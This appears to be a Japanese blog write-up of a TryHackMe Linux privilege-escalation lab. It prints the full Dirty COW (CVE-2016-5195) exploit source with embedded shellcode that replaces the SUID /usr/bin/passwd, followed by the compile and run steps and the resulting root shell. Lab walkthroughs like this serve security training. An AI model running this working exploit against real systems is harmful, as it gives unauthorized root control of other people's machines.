今回は、「Kernel exploitsを利用した権限昇格」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」
こちらの記事は、Part10になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「historyファイルやconfigファイル、重要ファイルのバックアップを悪用した権限昇格」も確認してください。
事前準備
まずは、「Start Machine」でターゲットマシンを起動しておきましょう。
IP Adressが表示されていればOKです。
今回は、権限昇格なので、sshで接続できるところまで確認しておきます。
TryHackMeにある通り「user/password321」で接続しましょう。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ ssh user@10.10.175.49 130 ⨯
user@10.10.175.49's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
Kernel Exploits(カーネルエクスプロイト)
カーネルエクスプロイトとは、LinuxやWindowsをはじめとするカーネル自身の脆弱性をつくエクスプロイトになります。
基本的にカーネルはシステム内で最高権限を持つ特権モードで動作しているため、悪用されるとシステムのほぼすべてを掌握されることになります。
まずは、Linux Exploit Suggester 2を利用して、現在のシステムで潜在的なカーネルエクスプロイトを特定します。
user@debian:~$ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 2.6.32
Searching 72 exploits...
Possible Exploits
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[5] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[6] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[8] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[9] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[10] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023
[11] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[12] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285
[13] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[14] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
色々リストアップされていますが、この中で有名な下記を悪用しましょう。
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
「https://dirtycow.ninja/」を参考にして、SUIDファイルである「/usr/bin/passwd」をシェルを起動するファイルに置き換えます。(/tmp/backに/usr/bin/passwordのバックアップが作成される。)
user@debian:~$ cat /home/user/tools/kernel-exploits/dirtycow/c0w.c
/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
*
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
* madvise 0
* ptrace 0
* $ /usr/bin/passwd
* [root@server foo]# whoami
* root
* [root@server foo]# id
* uid=0(root) gid=501(foo) groups=501(foo)
* @KrE80r
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char shell_code[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char shell_code[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg) {
int i,c=0;
for(i=0;i<200000000;i++)
c+=madvise(map,100,MADV_DONTNEED);
printf("madvise %d\n\n",c);
}
int main(int argc,char *argv[]){
printf(" \n\
(___) \n\
(o o)_____/ \n\
@@ ` \\ \n\
\\ ____, /%s \n\
// // \n\
^^ ^^ \n\
", suid_binary);
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f=open(suid_binary,O_RDONLY);
fstat(f,&st);
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
pid=fork();
if(pid){
waitpid(pid,NULL,0);
int u,i,o,c=0,l=sc_len;
for(i=0;i<10000/l;i++)
for(o=0;o<l;o++)
for(u=0;u<10000;u++)
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
printf("ptrace %d\n\n",c);
}
else{
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(),SIGSTOP);
pthread_join(pth,NULL);
}
return 0;
}
コードをコンパイルして、実行しましょう。
user@debian:~$ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
user@debian:~$ ./c0w
(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 534b7000
madvise 0
ptrace 0
/usr/bin/passwdを実行することで、root権限を取得できたかと思います!
user@debian:~$ /usr/bin/passwd
root@debian:/home/user# whoami
root
まとめ
今回は、「Kernel exploitsを利用した権限昇格」をやってみました。
カーネルエクスプロイトだけでも、14件もの脆弱性があるというのは、少し驚きだったかもしれません。
最終手段ということで、今後利用することがあるかはわかりませんが、忘れないようにしないといけないですね。
参考文献・サイト
ー